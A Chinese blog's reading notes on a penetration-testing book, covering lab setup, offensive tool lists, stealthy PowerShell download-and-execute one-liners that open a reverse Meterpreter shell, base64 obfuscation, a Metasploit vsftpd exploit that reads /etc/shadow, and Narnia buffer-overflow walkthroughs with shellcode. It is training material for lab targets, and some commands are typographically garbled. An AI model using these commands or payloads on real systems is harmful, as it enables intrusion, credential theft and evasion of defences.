《黑客祕笈——滲透測試實用指南》讀書筆記(1)
滲透學習
1.1搭建測試環境
Linux和 Windows兼備
1.2建立一個域
1.3建立其他伺服器
Metasploitable2(一個優秀的 Ubuntu Linux虛擬機器)
下載地址:http://sourceforge.net/projects/metasploitable/files/Metasploitable2
OWASPBWA(漏洞網站多)
http://sourceforge .net/projects/owaspbwa/files/
1.4安裝測試環境
1.4.1安裝虛擬平臺
VirtualBox(http://www.virtualbox.org)
VMWarePlayer(https://my.vmware.com/web/vmware/downloads)
在配置主機後,對乾淨狀態和配置狀態的虛擬機器進行了快照。後面的測試中需要做到就是恢復虛擬機器到基礎映象,對工具進行升級和打補丁或者新增其他需要的工具。
1.5硬體
測試筆記本
1、8G以上筆記本兩個
2、500G硬碟(最好固態)
3、Intel酷睿i7四核處理器
密碼破解桌面
機箱:海盜船復仇C70。
顯示卡:SAPPHIRE 100360SR Radeon R9 295x2 8GBGDDR5。
硬碟:三星840 EVO MZ-7TE500BW 2.5" 500GBSATA III TLC Internal固態盤。
電源:銀欣ST1500 1500W ATX。
記憶體:海盜船復仇16GB(2×8GB)240針腳DDR3 SDRAM DDR3 1600。
CPU:酷睿i7 4790K 4.0G。
主機板:華碩MAXIMUS VII FORMULA。
處理器風扇:酷冷至尊Hyper 212 EV。
1.6開發軟體
商業軟體
Burp Suite Pro
- Web滲透測試工具集
- 下載網址:http://portswigger.net/burp/proxy.html。強烈推薦購買專業版本,售價299美元,絕對物有所值。
Canvas
Cobalt Strike
Core Impact
Nessus
Nexpose
2.Kali Linux(https://www.kali.org/)
1.5.5 搭建Kali Linux
檢視http://www.thehackerplaybook.com網頁的更新。
所有的配置和軟體部分放到了Github網址(http://www.github.com/cheetz/thp2)。通過複製和貼上指令碼,方便滲透測試工作,不需要手動輸入每一個命令。
可以通過地址http://www.kali.org/downloads/下載Kali Linux發行版。強烈推薦下載VMware映象(https://www.offensive-security.com/kali-linux-vmware-arm-image-download)和Virtual Player/VirtualBox。記住映象檔案採用gz壓縮和tar存檔格式,首先提取壓縮和存檔檔案,然後載入vmx檔案。
1.Kali虛擬機器啟動和執行
- 使用使用者名稱root和預設密碼toor登入
- 開啟一個終端
- 修改密碼
- passwd
- 更新映象
- apt-get update
- apt-get dist-upgrade
- 設定Metasploit資料庫
- service postgresql start
- 讓postgresql資料庫在啟動時載入
- update-rc.dpostgresql enable
- 啟動和停止Metasploit服務(設定資料庫.yml檔案)
- service metasploit start
- service metasploit stop
- 安裝gedit軟體
- apt-get install gedit
- 修改主機名(很多網路管理員在DHCP的日誌中查詢到多臺命名為Kali的主機,最好遵循滲透測試公司的主機命名規則)
- gedit /etc/hostname
更改主機名(替換kali)並儲存 - gedit /etc/hosts
更改主機名(替換kali)並儲存 - reboot
- gedit /etc/hostname
- *Metasploit可選項——啟動日誌記錄
- 作為可選項,如果啟用日誌就會變得很大,但是通過Metasploit命令列介面,可以記錄執行的每一條命令和結果。如果客戶需要日誌記錄或者開展批量攻擊和查詢,這將變得非常有用。*如果是乾淨的映象,首先輸入msfconsole,在配置logging命令建立.msf4資料夾之前退出。
- 在命令列中輸入:
echo"spool /root/msf_console.log" > /root/.msf4/msfconsole.rc - 日誌儲存在/root/msf_console.log。
3.Back Box(http://www.backbox.org/
1.7 建立平臺
探測掃描工具 |
|
安裝Firefox外掛 |
|
Discover |
Discover Scripts
|
EyeWitness |
|
HTTPScreenShot |
|
WMAP |
|
SpiderFoot |
|
Masscan |
|
Gitrob |
|
CMSmap |
|
Recon-ng |
|
SPARTA |
|
WPScan |
|
Password Lists |
|
漏洞利用工具
|
|
Fuzzing Lists(SecLists) |
|
|
|
ZAP Proxy Pro |
|
NoSQLMap |
|
SQLMap |
|
SQLNinja |
|
BeEF Exploitation Framework |
|
Responder |
|
Printer Exploits |
· git clone https://github.com/MooseDojo/praedasploit/opt/praedasploit |
Veil |
Veil-Framework
|
WIFIPhisher |
|
Wifite |
|
SET |
|
後滲透測試
|
|
本書中的自定義指令碼 |
|
SMBexec |
· git clone https://github.com/pentestgeek/smbexec.git/opt/smbexec
|
Veil |
|
WCE |
|
Mimikatz |
|
PowerSploit |
|
Nishang |
|
後門製造工廠 |
|
DSHashes |
|
Net-Creds |
Net-Creds網路分析
|
程式碼副本 |
|
Phishing(可選) |
|
1.8 設定Windows環境
搭建Windows通用測試平臺作為KaliLinux平臺的備份。記住一定要修改主機名,如果不使用NetBios,就禁用NetBios功能,要做的最後一件事是在評估過程中獲取控制權。
設定Windows通常安裝以下軟體。
- HxD:下載地址為http://mh-nexus.de/en/hxd/
- Evade:下載地址為https://www.securepla.net/antivirus-now-you-see-me-now-you-dont
- Hyperion:下載地址為http://www.nullsecurity.net/tools/binary.html
- 下載並安裝Windows編譯器,地址為http://sourceforge.net/projects/mingw/
- 在Hyperion目錄下執行make命令,就可以得到二進位制檔案。
- 下載並安裝Metasploit,地址為http://www.Metasploit.com/
- 下載並安裝Nessus或者Nexpose
- 如果打算購買商業軟體,可以考慮購買Nessus,因為它更便宜,但是兩個軟體都能發揮作用。
- 下載並安裝nmap,地址為http://nmap.org/download.html
- 下載並安裝oclHashcat,地址為http://hashcat.net/oclhashcat/
- 下載並安裝Cain and Abel,地址為http://www.oxid.it/cain.html
- 下載Burp Proxy Pro,地址為http://portswigger.net/burp/download.html
- 下載並解壓Nishang,地址為https://github.com/samratashok/nishang
- 下載並安裝PowerSploit,地址為https://github.com/mattifestation/PowerSploit/
- 安裝Firefox外掛
- Web開發人員外掛:https://addons.mozilla.org/en-US/firefox/addon/webdeveloper/
- Tamper Data:https://addons.mozilla.org/en-US/firefox/ addon/tamper-data/
- Foxy Proxy:https://addons.mozilla.org/en-US/firefox/ addon/foxyproxystandard/
- User Agent Switcher:https://addons.mozilla.org/en-US/firefox/addon/useragent-switcher/
1.9 啟動PowerShell
PowerShell功能,請觀看這個視訊:
- PowerShell指令碼安全介紹:http://bit.ly/1MCb7EJ
PowerShell對於滲透測試人員有以下益處:
- Windows 7以上作業系統預設安裝;
- PowerShell指令碼可以執行在記憶體中;
- 幾乎不會觸發防毒軟體;
- 可以呼叫.NET類;
- 利用使用者口令(查詢活動目錄);
- 可以用來管理活動目錄;
- 遠端執行PowerShell指令碼;
- 使得Windows指令碼攻擊更加容易;
- 目前很多工具是基於PowerShell開發的,掌握這些工具幫助您成為能力出眾、效率較高的滲透測試人員。
您可以通過Windows終端提示符輸入“PowerShell”,進入PowerShell命令列,輸入“help”命令顯示幫助選單。下面是本書用到的基本引數和基本設定。
- -Exec Bypass:繞過執行安全保護。
- 這個引數非常重要!預設情況下,PowerShell的安全策略不允許執行命令和檔案。通過設定這個引數,可以繞過任何一個安全保護規則。在本書中,每一次執行PowerShell指令碼時均使用這個引數。
- -NonI:非互動模式,PowerShell不提供使用者互動式提示符。
- -NoProfile(或者 –NoP):PowerShell控制檯不載入當前使用者的配置。
- -noexit:執行後不退出shell。這對於指令碼,例如鍵盤記錄,非常重要,因此這些指令碼可以繼續執行。
- -W Hidden:設定會話的視窗風格,將命令視窗保持隱藏。
- 32位或64位PowerShell。
- 這非常重要。一些指令碼僅僅能夠執行在它們指定的平臺。因此,如果是在64位平臺,需要執行64位PowerShell指令碼來執行命令。
- 32位PowerShell指令碼執行:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass - 64位PowerShell指令碼執行:
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass
為了更好了解PowerShell的使用方法,下面介紹一些常用的執行命令(這些命令將在本書中使用)。
第一個命令是從網站伺服器下載PowerShell指令碼,並執行指令碼。在很多情況下,通過命令列,在被攻擊物件主機上下載MeterpreterPowerShell指令碼:
- Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-ObjectNet.WebClient). DownloadString('[PowerShell URL]'); [Parameters]
例如,如果想在目標上執行Meterpreter Shell,需要下載這個指令碼:
我們同樣需要知道使用什麼引數。最簡單的找到引數的方式是閱讀PowerShell指令碼原始碼,獲取和瀏覽Invoke--Shellcode.ps1檔案。檢視Mattifestationbianxie開發的Invoke--Shellcode.ps1檔案,可以通過這個例子,瞭解如何呼叫反向https Meterpreter shell(見圖1.1)。
最終的PowerShell命令看起來如下所示。
- Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient). DownloadString('https://raw.githubusercontent.com/cheetz/ PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https- Lhost 192.168.30.129 -Lport 80
圖1.1 Invoke--Shellcode.ps1
可以看出,PowerShell使用非常簡單,而且功能超級強大。下面瞭解更多的例子。
例如,下載同一個檔案到目標上。您不需要訪問網頁,就可以自動下載和執行檔案。在本地執行檔案:
- powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& { Import-Module [Path and File of PowerShell]; [Parameters] }"
最後,在本書中我通常使用base64編碼PowerShell指令碼,目的是混淆和壓縮程式碼。執行和編碼PowerShell指令碼的命令如下:
- powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc [Base64 Code]
希望上述的例子能幫助您在滲透測試中嫻熟地使用PowerShell。
1.10 Easy-P
因為本書大量應用PowerShell指令碼實施攻擊,所以我建立了一個小的指令碼,用於在滲透測試過程中獲取PowerShell指令碼。Easy-P包括我常用的一些PowerShell工具,並且具有編碼指令碼的功能。
對於每個命令,Easy-P提供多種方式執行程式碼,包括本地和遠端。注意所有的遠端PowerShell指令碼指向我的程式碼或者其他人程式碼的複製版本。在這裡我要強調一點,在後面的章節中還會提到多次:記住要從原始碼中複製自己的一個拷貝,這樣您就不會盲目地執行其他人的程式碼。現在如果一些人惡意地隨意篡改PowerShell指令碼,您永遠不會知道發生了什麼。沒有做什麼或者更壞的情況是,您的shell將轉向其他人指定的地址。下面瞭解一下Easy-P的功能(見圖1.2),使滲透測試工作變得更加簡單。
- cd /opt/Easy-P
- python ./easy-p.py
圖1.2 THP Easy-P
我在本書中最經常做的一件事就是使用PowerShell Meterpreter指令碼。當執行Easy-P指令碼時,輸入選項4。設定本地主機IP和Meterpreter指令碼回連的埠。完成設定後,就能看到如圖1.3所示的輸出。
得到4個不同型別的輸出。
- 從因特網下載和執行:從網站下載一個PowerShell指令碼,然後執行指令碼。雖然僅獲得簡單的shell,並且不能下載檔案,但是也很棒了。
- 從指令碼的一個本地副本執行:如果您已經將一個PowerShell檔案下載到系統中,執行命令匯入PowerShell指令碼,然後執行指令碼。
- Base64編碼版本下載和執行:如果由於某個原因想混淆編碼指令碼,或者遇到字元限制,您可以使用base64編碼程式碼,然後執行命令。
- 資原始檔:最後輸出的是關聯的資原始檔。Metasploit資原始檔是一種快捷方式,自動為MeterpreterPowerShell建立監聽程式。複製資源指令碼並將它存成檔案:/opt/listener.rc。
圖1.3 Easy-P輸出示例
所有的指令碼已經配置成繞過執行策略,保持隱藏,以及非互動執行。看一下Easy-P其他選單選項,還包括許可權提升、橫向滲透、鍵盤記錄、PowerShellMeterpreter和修改使用者執行策略等功能。請隨意複製我的程式碼,然後修改、增加所需要的PowerShell程式碼。
1.11特別知識點
1.11.1 Metasploitable 2
在開始前,需要下載安裝Metasploitable 2環境的VMWare映象。
下載地址為http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
下載Metasploitable 2軟體後,解壓軟體,並在VMware Player或者Virtual Box虛擬機器中開啟軟體,輸入使用者名稱msfadmin和密碼msfadmin登入軟體。現在執行VM映象檔案。
試驗環境
開始執行Nmap、Masscan或者其他漏洞工具,測試存在漏洞的虛擬機器。一旦發現系統漏洞,就執行漏洞利用程式獲取一個shell。舉個例子,我們發現並且將利用vsftpd存在的缺陷。因此,可以搜尋漏洞(搜尋vsftpd,見圖1.4)或者直接執行漏洞利用程式。
- msfconsole
- use exploit/unix/ftp/vsftpd_234_backdoor(選擇漏洞)
- show options(顯示配置選項)
- set RHOST [IP](設定Metasploitable 2 IP)
- exploit(執行漏洞)
圖1.4 Metasploit例子
成功利用這個漏洞,讀取儲存的密碼:cat /etc/shadow。為了深入研究Metasploitable 2,請閱讀Rapid7指南,地址為https://community.rapid7.com/docs/DOC-1875。
這個虛擬機器包括很多不同型別漏洞。您要花費時間學習如何有效使用Metasploit和Meterpreter。如果想深入瞭解Metasploit,推薦訪問http://www.amazon.com/Metasploit-The-Penetration-Testers-Guide/dp/159327288X。
1.11.2二進位制利用
請閱讀下面的書籍:The Shellcoders Handbook(http://amzn.to/1E3k89R)或者Hacking: The Art of Exploitation,2nd Edition(http://amzn.to/1z8oThD)。然而,這並不意味著您不需要理解緩衝區溢位和基本漏洞技術。既然所有的滲透測試人員都需要能夠編寫指令碼程式碼,那麼他們也需要能理解漏洞利用程式碼。比如可能在Metasploit找到一個模組,它不能正常工作,需要較小的調整,或者需要驗證從網際網路下載的漏洞利用程式碼。
已經有大量不同型別網站,幫助開始學習二進位制漏洞基礎知識。一個非常好的學習網站是Over the Wire(http://overthewire.org/wargames/narnia/ )。Over the Wire網站是一個線上奪旗挑戰站點,專注於從二進位制攻擊到網站攻擊所有方面的知識。在本章,僅僅介紹二進位制漏洞利用。如果您之前沒有了解相關的背景知識,我建議用幾個週末的時間深入研究這個網站。為了順利進入情況,我先和您一起回答幾個試題,然而後面的挑戰試題需要您自己完成。
在開始前,需要學習以下基礎知識:
- 基本的組合語言和理解暫存器的使用;
- GDB基礎知識(GNU偵錯程式);
- 理解不同型別的記憶體段(棧、堆、資料、BSS和程式碼段);
- Shellcode基本概念。
下面這些資源可能會對學習有所幫助:
- http://opensecuritytraining.info/IntroX86.html
- http://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/
- https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stackbased-overflows/
- http://www.lethalsecurity.com/wiki
- http://opensecuritytraining.info/Exploits1.html
- https://exploit-exercises.com/protostar/
1.11.3Narnia設定(http://overthewire.org/wargames/narnia/)
(1)階段1
Narnia正確配置後,SSH登入到它們的伺服器,所有的挑戰位於/narnia/目錄下。下面詳細瞭解前三個例子。在Kali的終端提示符下或者在Windows下使用類似於Putty(http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)的軟體。
- ssh narnia0@narnia.labs.overthewire.org
- Password: narnia0
- cd /narnia/
每一階段挑戰都提供C語言程式碼和二進位制可執行檔案。對於挑戰0,具有訪問narnia0和narnia0.c的許可權。現在看一下C程式碼。
- cat narnia0.c
快速瀏覽程式碼(見圖1.5)後,看到變數“val”被賦值十六進位制“AAAA”。其次,可以看到,程式接受輸入的緩衝區長度為20位元組。在之後的一些行,scanf()函式允許最多輸入24位元組。這是非常簡單的緩衝區溢位例子。現在執行可執行檔案,作為測試,輸入20個A和4個B(因為我們知道十六進位制值A=41和B=42),在命令提示符下,顯示的字元如下:
- narnia0@melinda:/narnia$ ./narnia0
- 修改val的值0x41414141 -> 0xdeadbeef!
- 這個是您的機會:AAAAAAAAAAAAAAAAAAAABBBB
- 緩衝區:AAAAAAAAAAAAAAAAAAAABBBB
- val:0x42424242
- 退出!!!!
圖1.5 narnia0程式碼
太棒了!因為val十六進位制值是0x42424242(42對應ASCII字母B),可以修改記憶體中val的值,之前這個值是0x41414141。現在需要做的就是修改記憶體值為0xdeadbeef。這裡提醒一下,所有寫到堆疊中的值必須是小端格式(http://en.wikipedia.org/wiki/Endianness ),這意味著0xdeadbeef最後的位元組必須是第一個壓到棧中的位元組,從而覆蓋val的值。目標機器棧機制是先進後出(FILO),或者說是後進先出(LIFO)的架構。因此,為了設定0xdeadbeef值,以“\xef\xbe\xad\xde”順序寫入。最簡單的方式是使用Python語言生成所需的數值,並將其作為narnia0例子的輸入值。請看下面的操作過程:
- narnia0@melinda:/narnia$ python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0
- 修正val變數值從0x41414141 -> 0xdeadbeef!
- 這是機會:buf: AAAAAAAAAAAAAAAAAAAA?
- val: 0xdeadbeef
太棒了!現在已經將deadbeef值寫入“val”變數中。那麼如何執行shell命令呢?再檢視C程式碼,可以看到,如果匹配deadbeef,/bin/sh將被呼叫。因此執行Python程式碼,並讀取位於/etc/narnia_pass/narnia1的金鑰:
- narnia0@melinda:/narnia$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"'; echo 'cat /etc/narnia_pass/narnia1') | /narnia/narnia0
- 修正val變數值從0x41414141到0xdeadbeef!
- 這是機會:緩衝區:AAAAAAAAAAAAAAAAAAAA?
- val: 0xdeadbeef
- [階段1的答案]
如果成功了,就通過階段1,並獲得narnia1賬戶的口令(見圖1.6)。現在需要登出賬戶並使用narnia1賬戶重新登入。
圖1.6 narnia0漏洞利用
(2)階段2
在完成每一個階段後,都可以獲得下一個賬戶的口令。使用剛剛獲得narnia1賬戶登入階段2:
- ssh narnia1@narnia.labs.overthewire.org
- Password: [narnia1的密碼]
- cd /narnia/
- cat narnia1.c
瀏覽這段C程式碼(見圖1.7),很快可以看到一些操作。
- int (*ret)():是一個指向ret的指標,用於獲取指標對應的數值。
- getenv:引入一個環境變數EGG並將值存入變數ret中。
- 呼叫ret()。
圖1.7 narnia1程式碼
如果將shellcode儲存在環境變數ECG中,那麼無論shellcode是什麼內容,它都將被執行。簡單的做法是設定shellcode程式碼為/bin/sh,並將其賦值給ECG的環境 變數。
- 在這個例子中,將惡意程式碼設定為/bin/sh:http://shell-storm.org/shellcode/files/shellcode-811.php
- export EGG=‘python -c 'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\ x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`
- ./narnia1
- cat /etc/narnia_pass/narnia2
已經有了narnia2賬戶的密碼(見圖1.8),現在可以進入階段3。
(3)階段3
登入階段3:
- ssh narnia2@narnia.labs.overthewire.org
- Password: [narnia2的密碼]
- cd /narnia/
- cat narnia2.c
圖1.8 narnia1漏洞利用
瀏覽C程式碼,檢視下面的程式碼:
- char buf[128];
- if(argc == 1){
- printf("Usage: %s argument\n",argv[0]);
- exit(1);
- }
- strcpy(buf,argv[1]);
- printf("%s",buf);
通過瀏覽程式碼可以看到,通過命令輸入一個引數,並將它複製到緩衝區。字串的緩衝區大小是128個位元組,因此我們傳送200個字元:
- narnia2@melinda:/narnia$ ./narnia2 'python -c 'print "A" * 200''
- 段錯誤
僅僅是驗證,通過傳送200個字元,造成程式出現段錯誤。需要判斷髮送多少位元組,可以覆蓋EIP暫存器。可以使用Metasploit的pattern_create.rb模組實現這個目的。這個模組生成一個特別字串,在下面的例子中,建立200個位元組的字串。由於生成的字串不會重複,因此能夠精確識別出程式在什麼位置覆蓋EIP。
- /usr/share/metasploit-framework/tools/pattern_create.rb 200
- Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9A
f0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
現在執行程式narnia2,輸入新生成的特殊字串,觀察在造成段錯誤之前,輸入了多少個位元組。為了獲得段錯誤的精確結果,使用了偵錯程式。預設情況下,Linux作業系統內嵌gdb偵錯程式。儘管gdb偵錯程式不是最容易使用的偵錯程式,但是它的功能非常強大。
- gdb ./narnia2 -q
- run 'python -c' 'print"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A
d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A
f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"''
查詢結果如圖1.9所示。
圖1.9 narnia2漏洞利用
- 程式接收SIGSEGV訊號,段錯誤。
- 0x37654136 in ?? ()
命令輸出結果是0x37654136。通過檢視初始的字串來查詢精確的值。為了能夠計算出造成段錯誤的準確位元組數,使用Metasploit的pattern_offset.rb指令碼:
- /usr/share/metasploit-framework/tools/pattern_offset.rb 0x37654136
- [*] Exact match at offset 140
這表明在140個位元組後可以控制EIP。為了證明這個結果,執行narnia2程式,輸入140個位元組,使用另外的4個位元組覆蓋EIP。通過使用偵錯程式來觀察記憶體中的變化。
輸出結果如下所示。
- cd /narnia
- gdb ./narnia2 -q
- (gdb) run 'python -c 'print "A" * 140 + "B" * 4'`
- Starting program: /games/narnia/narnia2 'python -c 'print "A" * 140 + "B" * 4'`
- Program received signal SIGSEGV,Segmentation fault.
- 0x42424242 in ?? ()
- (gdb) info registers
- eax 0x0 0
- ecx 0x0 0
- edx 0xf7fcb898 -134432616
- ebx 0xf7fca000 -134438912
- esp 0xffffd640 0xffffd640
- ebp 0x41414141 0x41414141
- esi 0x0 0
- edi 0x0 0
- eip 0x42424242 0x42424242
使用“B”字元(或者十六進位制0x42)覆蓋EIP,EIP是處理器下一步執行程式碼的指標。如果將EIP指向一段shellcode區域,就可以控制系統。那麼到哪兒可以找到shellcode呢?可以定製shellcode或者從下面網址下載shellcode:http://shell-storm.org/shellcode/。在這個例子中,使用Linux/x86 - execve(/bin/sh),長度28個位元組。shellcode長度是28個位元組,淨荷需要144個位元組長度。將A替換為NOP或者0x90,這意味著程式跳到NOP時將繼續執行,直到開始執行可執行程式碼。在使用空指令測試後,我建立了下列程式碼:
- cd /narnia
- gdb ./narnia2 -q
- run 'python -c 'print "\x90" * 50+
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "BBBB"'- 開始執行程式:/games/narnia/narnia2 `python -c 'print "\x90" *50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\ x90" * 67 + "BBBB"'
- 程式接收SIGSEGV訊號,段錯誤。
- 0x42424242 in ?? ()
- (gdb) info registers eip
- eip 0x42424242 0x42424242
通過shellcode和NOP成功控制EIP的值。現在在NOP前放置shellcode,從而獲得一個/bin/sh shell。為了能夠看到出現段錯誤後記憶體中的內容,輸入:
- x/250x $esp
滾動瀏覽,可以看到以下內容(見圖1.10)。
圖1.10 NOP Sled
可以看到初始的NOP (x90),後面是shellcode,然後是多個NOP,最後是BBBB。修改BBBB值,使其指向NOP,從而執行shellcode程式碼。一個簡單的地址是0xffffd850棧地址,指向NOP中的第一個字元。開始進行測試,記住不要忘記系統是小段模式。
- (gdb) run 'python -c 'print "\x90" * 50 +"\x31\xc0\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b
\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"''- 開始執行程式:/games/narnia/narnia2 "python -c 'print "\x90" * 50
+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
x53\x89\xe1\xb0\x0b\xcd\x8 0" + "\x90" * 67 + "\x50\xd8\xff\xff"'" - 程式5823執行新的程式:/bin/dash
- 開始執行程式:/games/narnia/narnia2 "python -c 'print "\x90" * 50
- $ cat /etc/narnia_pass/narnia3
- cat: /etc/narnia_pass/narnia3: Permission denied
現在可以執行shellcode,但是由於某種原因,不能夠讀取narnia3賬戶口令。可以嘗試脫離GDB除錯環境執行程式。
- narnia2@melinda:/narnia$ ./narnia2 'python -c 'print "\x90" * 50 +"\x31
\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x
e1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"'` - $ cat /etc/narnia_pass/narnia3
- [這兒是narnia3答案]
終於發揮作用了!我們現在獲得高許可權的shell,並可以讀取narnia3的密碼(見圖1.11)。希望通過這個例子,您能初步瞭解緩衝區溢位是如何產生以及如何進行漏洞利用。記住,這是一個二進位制漏洞利用的起始階段。現在可以用一些時間嘗試其他的例子。
圖1.11 narnia2漏洞利用
心得總結
說實話那麼多工具最好按照功能和操作去區分,這樣算下來就是搭建和安裝的工作量大。其他的跑兩遍就好了。
相關文章
- metasploit滲透測試筆記(內網滲透篇)筆記內網
- Metasploit滲透測試指南
- metasploit 滲透測試筆記(基礎篇)筆記
- 滲透測試(PenTest)基礎指南
- metasploit 滲透測試筆記(meterpreter篇)筆記
- linux滲透測試後續指南Linux
- 【滲透測試筆記】之【MSF 弱點掃描】筆記
- 用於黑客滲透測試的 21 個最佳 Kali Linux 工具黑客Linux
- 滲透測試學習記錄
- [雪峰磁針石部落格]滲透測試簡介1滲透測試簡介
- 滲透測試會用到哪些工具?滲透測試教程
- 滲透測試模擬黑客攻擊之蒐集資訊黑客
- 《CSS揭祕》讀書筆記CSS筆記
- 《SIP揭祕》讀書筆記筆記
- 滲透測試入門實戰
- Web滲透測試怎麼做:安全專家模擬黑客行為講述了滲透測試的原理Web黑客
- 記學習滲透測試之列舉
- 黑客攻擊滲透測試的社會工程學利用黑客
- 黑客與畫家讀書筆記黑客筆記
- Web應用滲透測試框架ArachniWeb框架
- Kali Linux Web 滲透測試祕籍 翻譯完成!LinuxWeb
- 《揭祕跨境電商》讀書筆記筆記
- KaliLinux無線滲透測試入門指南第九章無線滲透測試方法論Linux
- XtraBackup官方文件讀書筆記和測試筆記
- 《IBM BPM實戰指南》讀書筆記IBM筆記
- 滲透測試:看“道德黑客”如何進行模擬攻擊黑客
- 記一次授權滲透測試
- 記學習滲透測試之情報收集
- 記pWnOS1.0靶機滲透測試
- Linux滲透測試Linux
- 滲透測試-資訊收集
- 滲透測試報告測試報告
- 【滲透測試】Vulnhub DarkHole
- kali linux 2.0 web 滲透測試 電子書LinuxWeb
- 網路安全滲透測試的型別!滲透測試入門教程型別
- 滲透測試什麼?滲透測試具體操作流程是什麼
- Android滲透測試Android滲透測試入門教程大學霸Android
- 實驗吧 —— web完整滲透測試實驗指導書(圖片版)Web